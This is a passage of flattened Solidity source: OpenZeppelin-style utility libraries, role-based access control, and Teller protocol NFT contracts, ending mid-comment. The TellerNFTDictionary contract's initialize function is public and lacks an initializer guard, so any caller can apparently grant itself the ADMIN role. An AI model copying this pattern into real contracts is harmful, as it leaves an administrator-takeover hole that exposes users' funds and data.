limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; struct RoleData { mapping(address => bool) members; bytes32 adminRole; } library AccessControlEvents { event OwnerSet(address indexed owner); event OwnerTransferred(address indexed owner, address indexed prevOwner); /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged( bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole ); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted( bytes32 indexed role, address indexed account, address indexed sender ); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked( bytes32 indexed role, address indexed account, address indexed sender ); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../storage/roles.sol"; abstract contract int_hasRole_AccessControl_v1 is sto_AccessControl_Roles { function _hasRole(bytes32 role, address account) internal view returns (bool hasRole_) { hasRole_ = accessControlRolesStore().roles[role].members[account]; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./has-role.sol"; abstract contract int_requireAuthorization_AccessControl_v1 is int_hasRole_AccessControl_v1 { function _requireAuthorization(bytes32 role, address account) internal view { require(_hasRole(role, account), "AccessControl: unauthorized"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { int_requireAuthorization_AccessControl_v1 } from "../internal/require-authorization.sol"; abstract contract mod_authorized_AccessControl_v1 is int_requireAuthorization_AccessControl_v1 { modifier authorized(bytes32 role, address account) { _requireAuthorization(role, account); _; } } abstract contract mod_authorized_AccessControl is mod_authorized_AccessControl_v1 {} // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import { RoleData } from "../data.sol"; contract sto_AccessControl_Roles { bytes32 internal constant POS = keccak256("teller_protocol.storage.access_control.roles"); struct AccessControlRolesStorage { mapping(bytes32 => RoleData) roles; } function accessControlRolesStore() internal pure returns (AccessControlRolesStorage storage s) { bytes32 position = POS; assembly { s.slot := position } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IStakeableNFT { function tokenBaseLoanSize(uint256 tokenId) external view returns (uint256); function tokenURIHash(uint256 tokenId) external view returns (string memory); function tokenContributionAsset(uint256 tokenId) external view returns (address); function tokenContributionSize(uint256 tokenId) external view returns (uint256); function tokenContributionMultiplier(uint256 tokenId) external view returns (uint8); } /** * @notice TellerNFTDictionary Version 1.02 * * @notice This contract is used to gather data for TellerV1 NFTs more efficiently. * @notice This contract has data which must be continuously synchronized with the TellerV1 NFT data * * @author [email protected] */ pragma solidity ^0.8.0; // Contracts import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; // Interfaces import "./IStakeableNFT.sol"; /** * @notice This contract is used by borrowers to call Dapp functions (using delegate calls). * @notice This contract should only be constructed using it's upgradeable Proxy contract. * @notice In order to call a Dapp function, the Dapp must be added in the DappRegistry instance. * * @author [email protected] */ contract TellerNFTDictionary is IStakeableNFT, AccessControlUpgradeable { struct Tier { uint256 baseLoanSize; string[] hashes; address contributionAsset; uint256 contributionSize; uint8 contributionMultiplier; } mapping(uint256 => uint256) public baseLoanSizes; mapping(uint256 => string[]) public hashes; mapping(uint256 => address) public contributionAssets; mapping(uint256 => uint256) public contributionSizes; mapping(uint256 => uint8) public contributionMultipliers; /* Constants */ bytes32 public constant ADMIN = keccak256("ADMIN"); /* State Variables */ mapping(uint256 => uint256) public _tokenTierMappingCompressed; bool public _tokenTierMappingCompressedSet; /* Modifiers */ modifier onlyAdmin() { require(hasRole(ADMIN, _msgSender()), "TellerNFTDictionary: not admin"); _; } function initialize(address initialAdmin) public { _setupRole(ADMIN, initialAdmin); _setRoleAdmin(ADMIN, ADMIN); __AccessControl_init(); } /* External Functions */ /** * @notice It returns information about a Tier for a token ID. * @param tokenId ID of the token to get Tier info. */ function getTokenTierIndex(uint256 tokenId) public view returns (uint8 index_) { //32 * 8 = 256 - each uint256 holds the data of 32 tokens . 8 bits each. uint256 mappingIndex = tokenId / 32; uint256 compressedRegister = _tokenTierMappingCompressed[mappingIndex]; //use 31 instead of 32 to account for the '0x' in the start. //the '31 -' reverses our bytes order which is necessary uint256 offset = ((31 - (tokenId % 32)) * 8); uint8 tierIndex = uint8((compressedRegister >> offset)); return tierIndex; } function getTierHashes(uint256 tierIndex) external view returns (string[] memory) { return hashes[tierIndex]; } /** * @notice Adds a new Tier to be minted with the given information. * @dev It auto increments the index of the next tier to add. * @param newTier Information about the new tier to add. * * Requirements: * - Caller must have the {Admin} role */ function setTier(uint256 index, Tier memory newTier) external onlyAdmin returns (bool) { baseLoanSizes[index] = newTier.baseLoanSize; hashes[index] = newTier.hashes; contributionAssets[index] = newTier.contributionAsset; contributionSizes[index] = newTier.contributionSize; contributionMultipliers[index] = newTier.contributionMultiplier; return true; } /** * @notice Sets the tiers for each tokenId using compressed data. * @param tiersMapping Information about the new tiers to add. * * Requirements: * - Caller must have the {Admin} role */ function setAllTokenTierMappings(uint256[] memory tiersMapping) public onlyAdmin returns (bool) { require( !_tokenTierMappingCompressedSet, "TellerNFTDictionary: token tier mapping already set" ); for (uint256 i = 0; i < tiersMapping.length; i++) { _tokenTierMappingCompressed[i] = tiersMapping[i]; } _tokenTierMappingCompressedSet = true; return true; } /** * @notice Sets the tiers for each tokenId using compressed data. * @param index the mapping row, each holds data for 32 tokens * @param tierMapping Information about the new tier to add. * * Requirements: * - Caller must have the {Admin} role */ function setTokenTierMapping(uint256 index, uint256 tierMapping) public onlyAdmin returns (bool) { _tokenTierMappingCompressed[index] = tierMapping; return true; } /** * @notice Sets a specific tier for a specific tokenId using compressed data. * @param tokenIds the NFT token Ids for which to add data * @param tokenTier the index of the tier that these tokenIds should have * * Requirements: * - Caller must have the {Admin} role */ function setTokenTierForTokenIds( uint256[] calldata tokenIds, uint256 tokenTier ) public onlyAdmin returns (bool) { for (uint256 i; i < tokenIds.length; i++) { setTokenTierForTokenId(tokenIds[i], tokenTier); } return true; } /** * @notice Sets a specific tier for a specific tokenId using compressed data. * @param tokenId the NFT token Id for which to add data * @param tokenTier the index of the tier that these tokenIds should have * * Requirements: * - Caller must have the {Admin} role */ function setTokenTierForTokenId(uint256 tokenId, uint256 tokenTier) public onlyAdmin returns (bool) { uint256 mappingIndex = tokenId / 32; uint256 existingRegister = _tokenTierMappingCompressed[mappingIndex]; uint256 offset = ((31 - (tokenId % 32)) * 8); uint256 updateMaskShifted = 0x00000000000000000000000000000000000000000000000000000000000000FF << offset; uint256 updateMaskShiftedNegated = ~updateMaskShifted; uint256 tokenTierShifted = ((0x0000000000000000000000000000000000000000000000000000000000000000 | tokenTier) << offset); uint256 existingRegisterClearedWithMask = existingRegister & updateMaskShiftedNegated; uint256 updatedRegister = existingRegisterClearedWithMask | tokenTierShifted; _tokenTierMappingCompressed[mappingIndex] = updatedRegister; return true; } function supportsInterface(bytes4 interfaceId) public view override(AccessControlUpgradeable) returns (bool) { return interfaceId == type(IStakeableNFT).interfaceId || AccessControlUpgradeable.supportsInterface(interfaceId); } /** New methods for the dictionary */ /** * @notice It returns Base Loan Size for a token ID. * @param tokenId ID of the token to get info. */ function tokenBaseLoanSize(uint256 tokenId) public view override returns (uint256) { uint8 tokenTier = getTokenTierIndex(tokenId); return baseLoanSizes[tokenTier]; } /** * @notice It returns Token URI Hash for a token ID. * @param tokenId ID of the token to get info. */ function tokenURIHash(uint256 tokenId) public view override returns (string memory) { uint8 tokenTier = getTokenTierIndex(tokenId); string[] memory tierImageHashes = hashes[tokenTier]; return tierImageHashes[tokenId % (tierImageHashes.length)]; } /** * @notice It returns Contribution Asset for a token ID. * @param tokenId ID of the token to get info. */ function tokenContributionAsset(uint256 tokenId) public view override returns (address) { uint8 tokenTier = getTokenTierIndex(tokenId); return contributionAssets[tokenTier]; } /** * @notice It returns Contribution Size for a token ID. * @param tokenId ID of the token to get info. */ function tokenContributionSize(uint256 tokenId) public view override returns (uint256) { uint8 tokenTier = getTokenTierIndex(tokenId); return contributionSizes[tokenTier]; } /** * @notice It returns Contribution Multiplier for a token ID. * @param tokenId ID of the token to get info. */ function tokenContributionMultiplier(uint256 tokenId) public view override returns (uint8) { uint8 tokenTier = getTokenTierIndex(tokenId); return contributionMultipliers[tokenTier]; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Contracts import { ERC1155Upgradeable } from "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; import { AccessControlUpgradeable } from "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol"; // Libraries import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol"; import { EnumerableSet } from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; /*****************************************************************************************************/ /** WARNING **/ /** THIS CONTRACT IS UPGRADEABLE! **/ /** --------------------------------------------------------------------------------------------- **/ /** Do NOT change the order of or PREPEND any storage variables to this or new versions of this **/ /** contract as this will cause the the storage slots to be overwritten on the proxy contract!! **/ /** **/ /** Visit https://docs.openzeppelin.com/upgrades/2.6/proxies#upgrading-via-the-proxy-pattern for **/ /** more information. **/ /*****************************************************************************************************/ /** * @notice This contract is used by borrowers to call Dapp functions (using delegate calls). * @notice This contract should only be constructed using it's upgradeable Proxy contract. * @notice In order to call a Dapp function, the Dapp must be added in the DappRegistry instance. * * @author [email protected] */ abstract contract TellerNFT_V2 is ERC1155Upgradeable, AccessControlUpgradeable { using EnumerableSet for EnumerableSet.UintSet; /* Constants */ string public constant name = "Teller NFT"; string public constant symbol = "TNFT"; uint256 private constant ID_PADDING = 10000; bytes32 public constant ADMIN = keccak256("ADMIN"); /* State Variables */ struct Tier { uint256 baseLoanSize; address contributionAsset; uint256 contributionSize; uint16 contributionMultiplier; } // It holds the total number of tokens in existence. uint256 public totalSupply; // It holds the information about a tier. mapping(uint256 => Tier) public tiers; // It holds the total number of tiers. uint128 public tierCount; // It holds how many tokens types exists in a tier. mapping(uint128 => uint256) public tierTokenCount; // It holds a set of tokenIds for an owner address mapping(address => EnumerableSet.UintSet) internal _ownedTokenIds; // It holds the URI hash containing the token metadata mapping(uint256 => string) internal _idToUriHash; // It is a reverse lookup of the token ID given the metadata hash mapping(string => uint256) internal _uriHashToId; // Hash to the contract metadata string private _contractURIHash; /* Public Functions */ /** * @notice checks if an interface is supported by ITellerNFT or AccessControlUpgradeable * @param interfaceId the identifier of the interface * @return bool stating whether or not our interface is supported */ function supportsInterface(bytes4 interfaceId) public view override(ERC1155Upgradeable, AccessControlUpgradeable) returns (bool) { return super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256 tokenId) public view virtual override returns (string memory) { return string(abi.encodePacked(super.uri(tokenId), _idToUriHash[tokenId])); } /* External Functions */ /** * @notice The contract metadata URI. * @return the contract URI hash */ function contractURI() external view returns (string memory) { // URI returned from parent just returns base URI return string(abi.encodePacked(super.uri(0), _contractURIHash)); } /** * @notice It returns information about a Tier for a token ID. * @param tokenId ID of the token to get Tier info. * @return tierId_ the index of the tier the tokenId belongs to * @return tierTokenId_ the tokenId in tier */ function getTokenTierId(uint256 tokenId) external view returns (uint128 tierId_, uint128 tierTokenId_) { (tierId_, tierTokenId_) = _splitTokenId(tokenId); } /** * @notice It returns Base Loan Size for a token ID. * @param tokenId ID of the token to get info. */ function tokenBaseLoanSize(uint256 tokenId) public view returns (uint256) { (uint128 tierId, ) = _splitTokenId(tokenId); return tiers[tierId].baseLoanSize; } /** * @notice It returns Contribution Asset for a token ID. * @param tokenId ID of the token to get info. */ function tokenContributionAsset(uint256 tokenId) public view returns (address) { (uint128 tierId, ) = _splitTokenId(tokenId); return tiers[tierId].contributionAsset; } /** * @notice It returns Contribution Size for a token ID. * @param tokenId ID of the token to get info. */ function tokenContributionSize(uint256 tokenId) public view returns (uint256) { (uint128 tierId, ) = _splitTokenId(tokenId); return tiers[tierId].contributionSize; } /** * @notice It returns Contribution Multiplier for a token ID. * @param tokenId ID of the token to get info. */ function tokenContributionMultiplier(uint256 tokenId) public view returns (uint16) { (uint128 tierId, ) = _splitTokenId(tokenId); return tiers[tierId].contributionMultiplier; } /** * @notice It returns an array of token IDs owned by an address. * @dev It uses a EnumerableSet to store values and loops over each element to add to the array. * @dev Can be costly if calling within a contract for address with many tokens. * @return 